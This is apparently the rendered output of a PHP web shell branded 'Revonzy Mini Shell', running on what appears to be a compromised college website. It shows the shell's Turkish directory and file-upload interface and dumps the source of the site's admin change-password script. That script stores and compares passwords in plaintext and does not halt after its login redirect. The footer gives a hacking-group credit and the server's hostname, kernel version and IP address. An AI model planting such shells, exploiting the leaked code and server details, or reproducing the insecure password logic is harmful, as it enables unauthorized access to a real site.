Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/rpcollege.edu.in/879_dfdf7_sdddadmin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/rpcollege.edu.in/879_dfdf7_sdddadmin/change-password.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$current_password_error="";
	$password_error="";
	$confirm_password_error="";
	$success_msg =0;
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	
	if(isset($_POST['add_btn']))
	{
		$current_password	=	$_POST['curr_password'];
		$password			=	$_POST['new_password'];
		$confirm_password	=	$_POST['repassword'];
		
		if($current_password=="")
		{
			$current_password_error	=	"Please enter current password";
			$flag = 1;
		}
		if($password=="")
		{
			$password_error = "Please enter new password";
			$flag = 1;
		}
		if($confirm_password=="")
		{
			$confirm_password_error = "Please enter confirm password";
			$flag = 1;
		}
		if($confirm_password!=$password)
		{
			$confirm_password_error = "Entered password not match";
			$flag = 1;
		}
		if($flag==0)
		{
			$result_password = $db->get_password_from_user_name($email);
			if($result_password==$current_password)
			{	
				$db->change_user_password($email,$password);
				$success_msg	=	1;	
			}
			else
			{
				$current_password_error	=	"Please enter correct current password";
			}
		}
		
	}
?>

</div>
<?php
	require_once('header.php');
?>


        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Change Password</h1>
					<?php
					if($success_msg == 1)
					{
					?>
					<div class="alert alert-success">
					Password Change Successfully.
					</div>
					<?php
					}
					?>
                </div>
                
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                          Change Password
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form role="form" method="post" id="submit_form">
									
                                         <div class="form-group">
                                            <label>Current Password</label>
                                            <input type="password" class="form-control" placeholder="Enter Current Password" name="curr_password">
											<p style="color:red;"><?php echo $current_password_error; ?></p>

										</div>
										 <div class="form-group">
                                            <label>New Password</label>
                                            <input type="password" class="form-control" placeholder="Enter New Password" name="new_password">
											<p style="color:red;"><?php echo $password_error; ?></p>

										</div>
										<div class="form-group">
                                            <label>Re-Enter Password</label>
                                            <input type="password" class="form-control" placeholder="Re-Enter Password" name="repassword">
											<p style="color:red;"><?php echo $confirm_password_error; ?></p>

										</div>
                                       
										
                                  
                                        <button type="submit" class="btn btn-success" name="add_btn">Submit </button>
                                    </form>
                                </div>
                               
                                
                                    
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4